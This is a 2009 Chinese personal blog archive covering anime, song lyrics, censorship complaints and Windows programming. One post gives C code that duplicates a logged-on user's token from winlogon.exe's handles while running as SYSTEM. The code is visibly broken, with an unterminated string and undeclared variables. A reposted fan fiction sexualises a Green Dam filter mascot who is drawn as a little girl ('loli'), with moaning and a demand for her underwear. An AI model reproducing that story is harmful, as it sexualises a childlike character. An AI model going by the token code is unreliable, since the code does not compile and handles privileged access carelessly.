2009年12月13日 星期日

Sitelog与近况

-----------------------------------------------
Blogger Template Style
Name: Abrasive
Designer: Klodian
URL: www.deluxetemplates.net
Date: Jun 2009
-----------------------------------------------
之前那个模板纠结了我很久了,这个模板我也在很早以前就相中了。
不过由于一直比较忙,再加上这里也没有什么人来看,懒得换。

这么长一段时间的闲置,引来了欧洲、日本两股广告投放势力各显其能。
由于blogger的评论删除功能实在是让人难受

点开文章→点评论→在另一个URL列出评→点删除图标→在另一个URL确认→得到一个连接→回到文章

以上一个循环下来我实际上才删除了一条评论。
无奈之下,选择了评论审核与邮件通知功能。

最近?
最近几个月来都非常忙!不过终于迎来了黎明前的黑暗。
最近在编程方面什么也没有研究,什么都没有自学。
正打算考NCRE,不过这周内的这次报名不打算参加。
因为还什么都没有学,凭着我这糟糕的基础怕是考不下来。
最近喜欢用效果器虐待红警3上的电脑。
最近把电脑换了Windows 7,配上了水树奈奈的萌音。
ACG?
动画看了不少,有得说的也不少,就是懒得写。
生活方面倒是有的是事情想写,不过记录生活不是这个blog负责的事。

2009年9月12日 星期六

化物语 第十话OP「千石撫子-恋愛サーキュレーション」



歌詞:
せーの


でも そんなんじゃ だーめ
もう そんなんじゃ ほーら
心は進化するよ もーっと もーっと


言葉にすれば 消えちゃう関係 なら
言葉を消せばいいやって 思ってた? 恐れてた?
だけど あれ? なんか 違うかも
千里の道も一歩から 石のように硬いそんな意志で
塵も積もれば やまとなでしこ? し抜きで いや 死ぬ気で


ふわふわり ふわふわる あなたが 名前を呼ぶ それだけで宙へ浮かぶ
ふわふわる ふわふわり あなたが笑っている それだけで笑顔になる


神様 ありがとう 運命の悪戯でも
めぐり合えたことが 幸せなの


でも そんなんじゃ だーめ
もう そんなんじゃ ほーら


心は進化するよ もーっと もーっと


そう そんなんじゃ いやーだ
ねぇ そんなんじゃ まーだ


わたしのこと見ていて ずーっと ずーっと

高清MP4及截取版MP3下载:
http://www.jsharer.com/blog/282322.htm


资源引用页:http://bbs.levelup.cn/showtopic-864055.aspx

2009年8月15日 星期六

化为触手吧,吾之Code!

化为触手吧,吾之Code!

2009年8月11日 星期二

枚举质数 Enum prime numbers in C++

http://projecteuler.net/index.php?section=problems&id=7
以下代码将枚举10001个质数,耗时16ms
Example for enum 10001 prime numbers in 16ms.

int res[10001],Pos1=2;
res[0]=2;
res[1]=3;
res[2]=5;
for (int Enum=5;Pos1<10001;Enum++)
{
        BOOL wanted=1;
        for (int Pos2=0;res[Pos2]<=sqrt(Enum);Pos2++)
       {
                 if (!(Enum%res[Pos2]))
                {
                          wanted=0;
                          break;
                 }
        }
        if (wanted)
        {
                 res[Pos1]=Enum;
                 Pos1++;
        }
}
printf("%i",res[10000]);

2009年7月29日 星期三

Note:Object type number of process under vista & object type numbers

 ' Windows NT 4          Window 2000            Window XP
 ' -----------------     -------------------    -------------------
 '  1 - Type              1 - Type               1 - (Type)
 '  2 - Directory         2 - Directory          2 - Directory
 '  3 - SymbolicLink      3 - SymbolicLink       3 - SymbolicLink
 '  4 - Token             4 - Token              4 - Token
 '  5 - Process           5 - Process            5 - Process
 '  6 - Thread            6 - Thread             6 - Thread
 '  7 - Event             7 - Job                7 - Job
 '  8 - EventPair         8 - Event              8 - ((DebugObject))
 '  9 - Mutant            9 - EventPair          9 - Event
 ' 10 - Semaphore        10 - Mutant            10 - (EventPair)
 ' 11 - Timer            11 - Callback          11 - Mutant
 ' 12 - Profile          12 - Semaphore         12 - (Callback)
 ' 13 - WindowStation    13 - Timer             13 - Semaphore
 ' 14 - Desktop          14 - Profile           14 - Timer
 ' 15 - Section          15 - WindowsStation    15 - (Profile)
 ' 16 - Key              16 - Desktop           16 - KeyedEvent
 ' 17 - Port             17 - Section           17 - WindowStation
 ' 18 - Adapter          18 - Key               18 - Desktop
 ' 19 - Controller       19 - Port              19 - Section
 ' 20 - Device           20 - WaitablePort      20 - Key
 ' 21 - Driver           21 - Adapter           21 - Port
 ' 22 - IoCompletion     22 - Controller        22 - WaitablePort
 ' 23 - File             23 - Device            23 - (Adapter)
 '                       24 - Driver            24 - (Controller)
 '                       25 - IoCompletion      25 - (Device)
 '                       26 - File              26 - (Driver)
 '                       27 - WmiGuid           27 - IoCompletion
 '                                              28 - File
 '                                              29 - WmiGuid


Object type number of process under vista is 6

2009年6月25日 星期四

Duplicate User Token

-------December 13,2009

由于blog长期没有维护,之前那篇文章广告积累过多
再加上blogger的删除评论功能又很纠结。

故决定删除原文,重新发布此文

此次发布,未对文章内容进行修改
现在看来,之前这篇文章真的是没有什么效用
而且还有很多疏漏与不当之处
许多地方都很繁琐。

不过,作为我成长过程的一个记录,还是保留下来吧。
---------------------------

新本入手,Vista体验中...
体验过程中发现过去一直在使用的一段代码已经不奏效了。
既然如此,那么公开出来也无妨。
看来Agent Starter就要迎来又一次久违的大改了。
这回比较懒,我就不修改、注释了,也没有处理错误,有疑问,可留言。

功能:在当前进程为SYSTEM权限时,绕过密码登陆,获取当前已登录用户的Token。此Token可用于CreateProcessAsUser。

返回值:成功则是HANDLE,失败返回0.

Story:

在当前进程为SYSTEM权限时,由于CreateProcess等函数创建进程时父进程的权限会被子进程所继承,并且子进程也会登录为系统用户,容易造成子进程在获取用户设置时出错。目前已知CreateProcessAsUser和CreateProcessWithLogonW可以创建不同于父进程用户的子进程。但是由于CreateProcessAsUser所用的Token需要通过LogonUser 获得,而CreateProcessWithLogonW与LogonUser均需要用户名与密码才可进行登录,这使得获取Token失去了随意性。

这时,曾经在网上盛传的DuplicateHandle获取进程HANDLE法便可以用来解决问题。已知Token的ObjectNumber为4。所以我们便可以Duplicate其他进程里面的Token用于CreateProcessAsUser,从而免除登陆用户的麻烦。但是我们的Token要从哪里来呢?想想创建taskmgr.exe的是winlogon.exe,而winlogon.exe显示为SYSTEM用户,创建后的taskmgr则为当前用户。想必那里会隐藏着用户Token。打开Process Explorer看看,果真如此。至此,事情就变得简单了。(另外,winlogon里存在多个用户Token,XP SP3里面只有一个可用于我们的CreateProcessAsUser。Vista下没有可以直接用的。打算研究一下DuplicateTokenEx或许能有帮助)

代码:


HANDLE YGetUserToken()
{
      HANDLE ph,h_dup;
      ULONG bytesIO,i,NumOfHandle,WinLogon_id;
      PVOID buf;
      PSYSTEM_HANDLE_INFORMATION h_info;

      CHAR InfoBuffer[1000],szAccountName[200], szDomainName[200];

      DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;

      bytesIO=0x40000;
      buf = 0;

      WinLogon_id = NametoPid(L"winlogon.exe");
      ph = OpenProcess(PROCESS_DUP_HANDLE,0,WinLogon_id); //YDupHandle(WinLogon_id);

      NtAllocateVirtualMemory((HANDLE)-1, &buf, 0, &bytesIO, MEM_COMMIT, PAGE_READWRITE);

      NtQuerySystemInformation(SystemHandleInformation, buf, 0x40000, &bytesIO);
      NumOfHandle = *(PULONG)buf;
      h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
      int ai=0;

      for (i= 0 ; i<NumOfHandle; i++, h_info++)
      {
            if (h_info->ProcessId==WinLogon_id&&h_info->ObjectTypeNumber == 4)
            {
                  NtDuplicateObject(ph, (PHANDLE)h_info->Handle, (HANDLE)-1, &h_dup,TOKEN_ALL_ACCESS,0,0);
                  PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
                  SID_NAME_USE snu;

                  GetTokenInformation(h_dup,TokenUser,InfoBuffer,1000, &dwInfoBufferSize);

                  LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,&dwAccountSize,szDomainName, &dwDomainSize, &snu);

                  if(strcmp(szAccountName,"NT ATHORITY\\\)) //Vista:SYSTEM
                  {
                        printf(szAccountName);
                        if(CreateProcessAsUserW(h_dup,NULL,L"winlogon.exe",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&startupInfo,&ProcessInfo))
                        {
                              TerminateProcess(ProcessInfo.hProcess,0);
                              NtClose(ProcessInfo.hProcess);
                              NtClose(ProcessInfo.hThread);
                              break;
                        }
                  }
                  NtClose(ProcessInfo.hProcess);
                  NtClose(ProcessInfo.hThread);
                  NtClose(h_dup);

                  h_dup=0;
            }
      }
      CreateProcess()
      NtClose(ph);
      bytesIO = 0;
      NtFreeVirtualMemory((HANDLE)-1, &buf, &bytesIO, MEM_RELEASE);
      return h_dup;
}

2009年6月13日 星期六

绿坝娘...

最近大家似乎都在积极S绿坝娘,因为过些日子天我可能也要放血入手台笔记本。还是稍微关注一下好了,因为还是想要等入手了新电脑之后亲自调教一翻的嘛。

设定:
名称:绿坝娘,又叫做绿霸娘或者绿bar娘

属性:天然呆,因为其总是把门钥匙挂在自己胸前.

并且对关键词条总是记混,所以总是和谐错误.并且有轻微色盲

第二属性,千金傲娇,列句:我可是身价4000w万的大小姐.那个不良信息什么的最讨厌了!

绿坝娘会和谐掉一切身材比她好的女性,但是对BL之类的基本全部放行

绿坝娘在班上担任风纪委员,有着过盛的正义感,所以在班上被很多人讨厌.

绿坝娘还养有几只心爱的兔子

隐藏的M属性, 有点诱受无条件让视野内的生物产生推倒她的冲动,虽然看上去强势其实很容易推倒,并且由于过于单纯容易被调教

【转】我与绿坝娘生活的日子
http://acfun.cn/html/art/20090612/33706.html
天空从今天早上开始就阴沉着脸,仿佛预示着有什么不得了的大事即将发生......


如同平日一样回到家,打开心爱的计算姬,正当我准备开启那隐藏着自己那略带变态的爱好却又充满艺术美感的收藏夹时,我在状态栏发现了一个陌生的图标......

把鼠标移到上面一看......

绿坝-花季护航2.541版......

这是什么东西?正当我以为那是平常光顾的奇怪网站送给我的赠品而准备将其删除的时候,一把略带娇涩却又严厉的罗莉音突然从我耳边响起:

“你要是敢卸载的话...人家才不会轻易放过你呢!哼!”

“啊,你误会了,我不是要卸载,而是直接删除哦。”

“哼!还不是一样!像你这种死宅男,如果没有得到管束,就只会一天到晚沉迷于不良网站,到最后只会浪费人参。而我,绿坝娘的职责,就是引导你这种迷途羔羊重返征途,免受砖家叫兽的摧残,现在知道我的伟大了吧。”名叫绿坝娘的小罗莉骄傲地挺起了那连a罩杯都没有的胸脯。

我虽然是一个普通的宅男,但我也是有尊严的。我是宅男,但不是死宅男,对于这样污蔑我的人,即使是眼前这位激萌的罗莉,也要对其施加制裁。

我用食指轻轻地弹了一下绿坝娘的额头,可是,没想到就是那轻轻的一弹,绿坝娘居然会重重地摔倒在地。

莫非这就是传说中的一推就倒?

糟了,玩笑开大了,这时的绿坝娘眼角已经渗出了泪水,我实在太差劲了。就在我打算把眼前这位小罗莉扶起来的时候,我貌似看到了一样不该看的东西。

那是有着蓝白条纹的布制品,我的眼球就这样被吸引住,仿佛此身即将被眼前这片蓝白相间的大海所吞噬一样。不过细心一看,在这蓝白条纹中间似乎印着很多密密麻麻的小字,其中可以模模糊糊地看清其中几个字母:sex、beast、penis......我想,那一定就是传说中能与金A的英雄王的宝藏媲美的,工口网址大全。

“那些小字是什么?”我指着内裤问到。

“变态!痴汉!”绿坝娘顿时满脸通红,双手死死地把裙子盖住。

人们说过,好奇心会害死猫;某宅男说过,好奇心会推倒罗莉。为了满足于自己的好奇心,我必须想出一个可以让她把内裤亲手奉上的方法。

我一边想办法,一边用鼠标打开注册表。



”看看这里。”我指着显示器,绿坝娘听到我的话,好奇地把脸凑上来。

“你的名字存在于我的电脑的注册表里,所以我就是你的主人。那么你的主人在此下令,以后称呼我要叫主人,还有,把内裤给我。”

“开...开什么玩笑,我...我可是...身价4000W的千金小姐,才不会听你这种庶民的话呢!”

“是么?看看这里。”我打开进程,指着用户那一项,“承认现实吧,我正在使用你。”

“无路赛无路赛无路赛!身为护航使者的我这么可能要去做...做这种...H...的事情...“

是么?那么没办法了,对于不听话的萝莉,稍微施以调教是必须的。

我把鼠标移动到桌面的火狐子身上,就在这是,绿坝娘紧紧地抱着我那鼠标的右手,试图在阻止我的行动。

”上网要用IE的啦...火狐子什么的...最讨厌了!“

原来如此,只要我用火狐子你就无能为力了吧。于是我打开火狐子,点击了书签中的X城。当成功连接的一刻,绿坝娘的身体突然抽搐了一下。

”好奇怪....突然有什么东西进来了...“

果然,和我想的一样。于是我接连打开数十个窗口,霎时之间,显示器呈现出一片肉色,绿坝娘的身体不断在发抖。原本正在正打算向我说教的她却因为身体的奇特感觉而发出一阵模糊不清的呻吟。

“讨厌......要进来了......咿呀呀呀呀呀呀.....”

尽管这种声音早就隔着显示器听了无数次,但没想到居然能够在3次元真实地听到,而且,这种声音还是在我的亲手调(河蟹)教下被创造出来的。

“不行了...喉咙好渴...身体不听使唤...”早已因为被大量工口网站攻入而变得脸色潮红的绿坝娘,此刻正像一滩烂泥一样倒在我的怀中。

“你不是帮我重返正途的河蟹使者吗?为什么在会在看完工口网站之后露出如此YD的表情...啊,我知道了,你其实就是个工口女!“

”才不是你说的那样呢...刚才只是意想不到你会这样做而已,下次...下次绝对不会让你得逞的,工口什么的最讨厌了!!“

”下次?原来你在期待这个啊,真是个工口娘呢,好吧,这次会令你更舒服的。“

”你要...干什么?"绿坝娘喘着气,双手无力地拽着我的衣袖。

我打开绿坝的原文件夹,找到了system32XDaemon.exe和Xnet2.exe文件。我将这2个文件粉碎以后,绿坝娘的衣服突然消失了。

“呜哇!人家的保护进程。"绿坝娘双手捂着胸前,用敌视的眼光看着我。

我随便打开一个dat文件,胡乱的篡改其中的内容。

“呜......嗯.....嗯.....嗯....."一阵又一阵的呻吟声不断刺激着我的大脑,我加快了篡改文件的速度。

”呜....不行....要坏掉了....呜......还想要.....“这时的绿坝娘已经开始语无伦次了,汗水濡湿了洁白的兔子内衣,我甚至能看请里面的内容。她的身体扭曲着,喘息的间隔也变得越来越短。

”啊啊阿啊阿~~不行了......“

====================

以下内容已被绿坝娘所屏蔽

====================

看着躺在地上已经被玩坏的绿坝娘,我产生了一丝痛惜之心,我把备份好的文件重新覆盖,原本已经奄奄一息的绿坝娘突然重新恢复活力,”咚“的一声坐起来,用力地提起我的衣领。

”刚才所受的耻辱,我现在要一次过向你报复!“

”你有说这话的资本吗?“我指着被打开的WINDOWSsystem32kwpwf.dll文件。

”你的密码已经被我改了,也就是说从现在开始,我能够随意地玩弄你的身体。“

”怎么会...“面对眼前铁一般的现实,绿坝娘失去了原本的傲气,松开了双手,无力地跪倒在地上。

”那么...试着叫我主人吧。“

”是的...主...主人大人,以后请手下留情。“

”那么,我现在想要你的内裤。“

”开什么玩笑!我才不要....“

”哦?难道你还想体验刚才的快感?“

“知...知道了。主人,我要脱内裤了,请把脸转过去...”绿坝娘放弃了最后的抵抗。

虽然我很想观看她的脱衣秀,但细心一想,这样做的话我和夜X病栋、黑X圣经里的人渣又有什么差别呢?于是我乖乖的转过身,等待眼前的小罗莉脱下内裤。

“主人...请...请收下这个...”

我转过身,绿坝娘单手捂着裙子,用另一只手把内裤递给我。

这就是传说中最新最全的工口网址大全啊,有了这个,我就是新世界的神了。

“呜...下面凉飕飕地,感觉好奇怪...”

这样的确太可怜了,于是我从衣柜里拿出一条我自己的内裤,递给绿坝娘。

“拿去吧,快点穿上,不要着凉了。”

“笨蛋!谁...谁要穿曾经沾上奇怪液体的内裤啊!”

“这是主人的命令。”

“呜...”绿坝娘很不情愿地接过我的内裤,在我转过身后快速的将其穿上。

“感觉怎样,会不会太大?”我轻轻地抚摸着绿坝娘的额头。

“有一点松...不过..很温暖...”

就这样,我与绿坝娘一起生活的日子,在这里拉开了序幕。

2009年6月4日 星期四

大牛?不过如此

事情最初是来自MJ0011大牛这样一篇文章:《短短数行代码让很多号称驱动级的强删文件工具失效》文中提及,其中用到的是大牛在08年爆出的一项技术。
但是不久后,我很意外地看到了me1_j3x在2006年写到的《关于"NTFS格式分区"的硬连接问题及相关》,我到底是初于什么样心理呢?或许是略带鄙视吧,我匿名在大牛的文章里做了评论。
------------------------------------------------------------------------------
20# 匿名网友:
人家在06年就有过的思路了
hi.baidu.com/j3x_wsh/blog/item/55d6c4164655d518962b4345.html

21# mj0011:
过得思路在哪?楼上的脑残吧。

22# 匿名网友:
是‘有过/的思路’,不是‘有/过的思路’,LS注意断句。

------------------------------------------------------------------------------
然后呢?今天,原文中的20~22楼均已被删除,所谓大牛,不过如此,这样两句小小的评论都无法面对。
不过这有算得了什么呢?我们的祖国大人不是也&*(……*&%……&*么?

2009年6月2日 星期二

Dead Fantasy I II III IV V

Dead Fantasy III IV V preview version is out!
Oh~ poor Tiffa T_T.
------------------
Dead Fantasy 三、四、五的预览(偷拍)版本已经出来了。
噢~ 可怜的蒂法 T_T.

这东西最早是从内网上的一个朋友那里听说的,前两部并没有什么剧情,只是打斗场面很赞!
到了第三、五部,在不失的前两作精彩打斗下,加入了更多的剧情,期待HD版本放出。

下面给出前两部的高清版本下载链接,还有预览版本的连接。

Dead Fantasy I [HD] : Download
Dead Fantasy II [HD]:Download
Dead Fantasy III : Preview
Dead Fantasy IV : Preview
Dead Fantasy V : Preview

2009年5月30日 星期六

アニメ最萌トーナメント2009

<iframe width="312" height="176" src="http://ext.nicovideo.jp/thumb/sm7180157" scrolling="no" style="border:solid 1px #CCC;" frameborder="0"><a href="http://www.nicovideo.jp/watch/sm7180157">【ニコニコ動画】【アニメ最萌トーナメント2009】最萌トーナメント出場キャラ紹介MAD</a></iframe>
看来比赛必然必会是非常激烈
出场人物介绍MAD里找到很多我萌的人物,难分上下,谁我都不想让她输。

2009年5月26日 星期二

我被盯上了?!

很久很久以前,当我发现了消除Google SafeSearch的方法后,我就感到很奇怪:为什么每回我使用非阉割版Google的时候搜索一些和谐的东西的时候,总是Google坚持不了几分钟就上不了了呢?后来,我渐渐将这一疑问忘掉了。
前几天,我处于好奇,浏览了一下skypelaughterchain,和谐的现象又一次发生了,不到两分钟,当我再次刷新的时候,网站已经上不去了。由于正好前些天看了一张关于GFW运作模式的猜想图,我认为,那个网站当时已经被列入临时黑名单里了。惊讶GFW的工作效率之高的同时,我也大胆做出猜想:我这里的ISP的流量属于GFW的重点监控对象之一。
昨天,想起来了最近网上各处都在传这次的大规模河蟹其实是为了防民之口,防止在0x7C5年发生的0x10事件0x14周年时大家胡说些什么。处于好奇,昨天我又用‘不安的Google’搜索了一下那个日期。结果,悲剧就这样发生了,今天,Google.com被河蟹了,只剩下了被阉割的Google.cn,虽然‘口嫌体正直’的Google.cn也是可以‘不安’的,但是我也不会轻易使用不安法了。
我以后使用类似东西还是小心点为好。毕竟,我可不想再多失去任何一个国外的优秀服务了。
哎~最近在现实中也是这样,那个目光我前躲后闪总也是躲不开,被盯着的感觉实在是太糟糕了!
扩展阅读:http://zh.wikipedia.org/w/index.php?title=%E5%85%AD%E5%9B%9B&variant=zh-cn

2009年5月19日 星期二

关于被墙

目前摆在我面前的只有三条路可以走:
  1. 置之不理,博客地址照旧宣传。不过博文的面向对象可能就会是世界人民与特别行政区的人民们了,或许我可以以此为转机更多的用英语来写Blog,顺便练习下我糟糕的英语写作。如果我的博客真的受到关注的话,有能者自然可观之。缺点是ACGer们估计是见不到我了。
  2. Web proxy /Google translate,现在正在用的方法。可惜好代理难求,目前所用的这个代理虽然比较稳定、快速,但还是存在着无法显示Picasa图片的问题。并且,博客的真实地址容易被人们所淡忘。
  3. 利用FTP网络空间发布blog,比较合适的解决办法。此方法已经在wye的另一处碎块堆上测试成功。但结果是我将必须使用HTML模板,HTML模板很难找到心仪的,且修改它既费时又费力,暂时拿不出那么多精力来。而且,和代理法一样,博客的原版地址就会白宣传,会被人们逐渐忘掉。
目前暂时在使用第二种方法,配合Atom全文供稿(QQ的阅读空间应该可以收到我的公搞)的策略。
或许这将是个此Blog内容的转折点,也可能等我抽出时间来会用一用方法3。写完才发现,之前提到的关于地址的顾虑有些多余。
毕竟,我在将来会有个自己的域名吧,或许是。

--------------09-05-21--------------
因为某些事,心情很是不爽,初步决定置之不理了。
并且,今后或许也会减弱对外宣传力度。
才换了没几个月的博,就让我忘记了当时从人气高高的Baidu搬过来的初衷了。
这次的被墙反倒是提醒了我...
还是让两个博客各自发挥其最初设定的作用吧。

2009年5月17日 星期日

[2009.5]The newest way to remove Geocitis Ads

哎~天不遂人愿呀~
博客被河蟹掉已经够让人讨厌的了,今天费了半天劲折腾出来了广告移除代码,结果却得到Geo这样的个通知:
Important Announcement
After careful consideration, Yahoo! has decided to close GeoCities later this year.

You can continue enjoying your GeoCities service until then — we just wanted you to let you know about the closure as soon as possible. We'll share more details this summer. For now, please visit the help center for more information.

这这这都怎么了这是?这儿被河蟹,那儿被关闭的,这日子还让不让人过了?
积极寻找合适翻墙办法中...

//code:
<script language="javascript">
/* Geocities ADs remover by wye-MIA kid C!
   http://wye-ANGer.blogspot.com         */

var args = parent.document.location.toString().split('?');
var myDate = new Date();
var para = ''+myDate.getFullYear()+myDate.getDate();
if (args[1] != para)
{
    var myDate = new Date();
    parent.document.location=args[0]+'?'+para;
}
else
{
    var i,origLength;
    origLength = parent.document.all.length;
    for (i = 0; i <= origLength; i++)
    {
        if(parent.document.all[i].tagName=="DIV")
        {
            parent.document.all[i].style.display="none";
        }
    }
}
</script>

Please plaste the code after < b o d y >

2009年5月15日 星期五

COMODO 3.9.76924.507 终于支持中文了

NEW! Multilingual Support: CIS now supports other languages 另外,不知道是从哪个版本开始,不拦截CreateProcess非可执行扩展名文件的BUG也被消除了。我的确是对COMODO越来越有信心了!
不过,比较反感的就是,体积是一个版本比一个版本大(40+M→70+M),那些AV病毒库对我来说是个累赘的说...
中文的主界面~
在说明文档里翻到了官方提供的中文名称:科摩多...
比较。。。
------------------怨念的分割线------------------
他喵的blogger又被WFG(←)给封锁了,害的我小更新一下还得开U94...
God damn it...

2009年5月8日 星期五

[MP3]轻飘飘的时间 TV Size

轻音少女 K-ON 第六话 插曲

桜高軽音部
平沢唯(ひらさわ・ゆい)
秋山澪(あきやま・みお)


キミを見てるといつもハートDOKI☆DOKI


揺れる思いはマシュマロみたいにふわ☆ふわ

────────ここまでアニメに登場────────

いつもがんばるキミの横顔 ずっと見てても気にしないよね

夢の中なら二人の距離 縮められるのにな

ああカミサマお願い 二人だけのDream Timeください

お気に入りのうさちゃん抱いて

今夜もオヤスミ♪

ふわふわ時間 ふわふわ時間


MP3文件[320kbps]下载:http://www.jsharer.com/file/1194878.htm

注:以下图片并不代表博主个人观点~

2009年4月19日 星期日

更换了模板

偷偷的换掉了~
总的来说是没有以前好看了,不过更实用呀。
这回是按1280*1024的屏幕设计的~!
这下图片可终于可以看全了,我也终于不用打 < B R > 了
----------------

其实呀,大叔我也只是被迫在潜水啦。


最近是前所未有的忙,还是没有太多的精力理会网上发生的一些事情。
而且,以前常去的一些网站也已经被我自己用Hosts文件暂时给河蟹掉了,短时间内是不会露脸的,毕竟事情还是挺重要的嘛。

2009年4月18日 星期六

ナルキッソス3(narcissu3) Die Dritte Welt(通称ナルキ3) torrent

2009-05-02更新:
种子文件(torrent file)下载

narcissu3 Die Dritte Welt torrent
http://www.jsharer.com/file/1185658.htm
http://www.aishare.net/link.php?ref=gnxLtHBYJY
http://disk.iqho.com/mcncc.php?Mcncc=M-WRl7U3dKJM

----------------------------------------------------------------------------------------------------------

2009-05-01更新:
OP动画「光降るなら」下载
http://caras.rassyai.com/~stage-nana/nar3_ver01.zip

----------------------------------------------------------------------------------------------------------


narcissu3/水仙3 这几天就要出了 可惜的是这回的人物没有以前好看了...

■SPEC
制 作  :ステージなな Vol.30
対 応  :Win98/2000/XP/Vista 全年齢ノベル
発 売  :2009年4月27日予定
頒布価格 :1500円
仕 様  :DVD-ROM1枚/あとなにか予定
(※ナルキ1・2も同梱)



■ナルキ3:OP曲 「光降るなら」 作曲・編曲:onoken/作詞:三澤 秋/Vocal:彩羅

Short ver:ダウンロード



■STAFF
シナリオ:片岡とも/早狩武志/ごぉ/他
キャラクターデザイン:緒方剛志
キャスト:綾川りの・後藤邑子・やなせなつみ・能登麻美子
田中涼子・岩居由希子/他
音 楽 :ONOKEN/Elements Garden/eufonius/他






■ナルキッソス3 世界観
主に今作もナルキ1・2で登場した病院が、メイン舞台となります。
7Fという特殊な場所の住人となった人々と、
それを取り囲む様々なキャラクター達との交流を描いています。
※基本的に既存の設定やストーリーを引き継いだ部分も多いので、
そちらを先にプレイして頂けると幸いです。
(ナルキ1・2も同梱しておりますので)

キャラクター&ストーリー
■Character & story

クリックで詳細■ヒロイン:安佐乃海璃(海璃)

元看護師。ナース時代は「天使」と呼ばれていた。
少し話が跳躍する事があるが、感情豊かな明るい性格。

ストーリー概要:
医者である彼氏と付き合い始めて3ヶ月、
仕事の合間を縫って新居を探す2人。
そしてようやく決まった新しい部屋での
生活が始まろうとした時、物語は大きく動き出す…

>>Click

クリックで詳細

■主人公:相島久也(久也)
27歳。長身の痩せ型で長髪。
体育会系気質の持ち主で、けっこうな女泣かせ。


■ストーリー概要:
医者である久也と入院患者の拓人とのストーリー。
常に問題を起こす拓人に振り回されてばかりの久也。
そんな彼の生き様から色々なものを学んでいく事に。

>>Click

クリックで詳細

■ヒロイン:楠木ちさと(チサト)
本当は気弱で大人しい性格なのだが、
そう思われないよう多弁でノリのいい子を演じている。

■ストーリー概要:
ある日、街を歩いていた彼女は
急に見知らぬ青年に声をかけられる。。
突然の事に戸惑いながらも会話を続けていく内、
彼女は青年に興味を持ち始めるのだが…



>>Click

クリックで詳細

■ヒロイン:Iris(イリス)
舞台は中世。小さな国の第二皇女という生まれだが、
その生まれが災いとして、冷たく人間らしさを失った。

■ストーリー概要:
幼い頃から幽閉のような暮らしを強いられてきたイリス。
隣国へと嫁ぐことが決まったのは八歳の時だった。
そこでの新しい暮らしも、穏やかな物ではなかった…


>>Click

クリックで詳細

■その他の登場人物達

ナルキ3の世界で、世界観を共にするキャラクター達。








>>Click

2009年4月13日 星期一

第二次手机写博测试

点着3Inch的小屏幕写博客还真是不方便呢...
而且,GPRS实在是太慢了!

2009年4月10日 星期五

School Days...

总觉得这部动画翻译成 日在校园 翻得真是很传神,一语双关~

剧情大致说来就是

一个继承了意外性招女生喜欢的传统的男主角在与一群女生们的日复一日之中,不断的积攒观众们他的或鄙视或敌意或怨恨等等。然后,在最后一集中以一场大快人心的悲剧性结局将所有的怨念集中起来爆发...

话说这位渣诚的做法能让我这位腹黑控看不下去也算是渣到一定纯度了!
最后,对于那些对日呀什么的不感兴趣而且是Loli/巨乳/呆毛/机战/寒蝉控的广大控众们,可以去看看集Nice boat与心酱于一体的School Days OVA~





资源分享 [090327] BALDR SKY Dive1 Lost Memory 初回版 torrent







本来是想分享W.L.O. 世界恋愛機構的,可是发现HLoli上已经有下了,那就算了吧。
这东西同学有下,我只是看了一下Movie,画风真的很棒,Ending的那段钢琴曲也还不错~
是个集机战与Gal于一身的东东。
官方网站:http://www.web-giga.com/baldrsky/
种子文件:http://www.jsharer.com/file/1148575.htm

2009年4月9日 星期四

宽带包年要到期了

在各种地方出现的频率都将大幅下降...

Windows效果音 piano

看了nm6626195之后一时冲动就搞了这么一个东西出来
(当然仅凭这个还是无法完成nm6626195里那些事情的)

功能 : 按键→Windows提示音
操作方法:按压键盘
按键列表
Esc → 退出
1~3 → 设置模式

发音键:
qwer uiop
asdf jkl;
zxcv nm,.

下载地址:http://www.jsharer.com/file/1139519.htm

09-04-25 公开源代码

//Window events for PlaySound

/*

AppGPFault
BlockedPopup
BuildComplete
BuildError
BuildWarning
CCSelect
Close
CriticalBatteryAlarm
DeviceConnect
DeviceDisconnect
DeviceFail
EmptyRecycleBin
LowBatteryAlarm
MailBeep
Maximize
MenuCommand
MenuPopup
Minimize
MoveMenuItem
Navigating
Open
PrintComplete
RestoreDown
RestoreUp
SecurityBand
ShowBand
SystemAsterisk
SystemExclamation
SystemExit
SystemHand
SystemNotification
SystemQuestion
SystemStart
WindowsLogoff
WindowsLogon
*/
#include <stdio.h>
#include <windows.h>
#include <conio.h>
#pragma comment(lib,"winmm.lib")
HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE);
void SetConsole()
{
   
SetConsoleTitle("Windows Media Piano by wye-MIA kid C!");
   
SetConsoleTextAttribute(hOut,0xf8);
   CONSOLE_SCREEN_BUFFER_INFO
csbi ;
   
GetConsoleScreenBufferInfo(hOut,&csbi);
   
DWORD written ;
   
DWORD N=csbi.dwSize.X*csbi.dwSize.Y;
   COORD
curhome={0,0};
  
    
FillConsoleOutputCharacter(hOut,' ',N,curhome,&written);
   
FillConsoleOutputAttribute(hOut, csbi.wAttributes,N,curhome, &written);  
   
    
csbi.srWindow.Bottom-=csbi.srWindow.Top ;
   
csbi.srWindow.Top=0 ;
   
SetConsoleWindowInfo(hOut,TRUE,&csbi.srWindow);
   
SetConsoleCursorPosition(hOut,curhome);
}
void main()
{
   char
key = 0;
   
UINT fuSound = SND_ASYNC;
   
SetConsole();
  
    while (1)
   {
       
key = 0;
       if (
kbhit())
       {
           
key = getch();
           
SetConsoleTextAttribute(hOut,0xF0|key);
           switch (
key)
           {
           case
'a':
               
sndPlaySound("DeviceDisconnect",fuSound);
               break;
           case
's':
               
sndPlaySound("DeviceConnect",fuSound);
               break;
           case
'd':
               
sndPlaySound("DeviceFail",fuSound);
               break;
           case
'f':
               
sndPlaySound("LowBatteryAlarm",fuSound);
               break;
           case
'j':
               
sndPlaySound("SystemAsterisk",fuSound);
               break;
           case
'k':
               
sndPlaySound("SystemExclamation",fuSound);
               break;
           case
'l':
               
sndPlaySound("MailBeep",fuSound);
               break;
           case
';':
               
sndPlaySound("notify",fuSound);
               break;
           case
'q':
               
sndPlaySound("SystemExit",fuSound);
               break;
           case
'w':
               
sndPlaySound("SystemStart",fuSound);
               break;
           case
'e':
               
sndPlaySound("WindowsLogon",fuSound);
               break;
           case
'r':
               
sndPlaySound("WindowsLogoff",fuSound);
               break;
           case
'u':
               
sndPlaySound("chord",fuSound);
               break;
           case
'i':
               
sndPlaySound("ding",fuSound);
               break;
           case
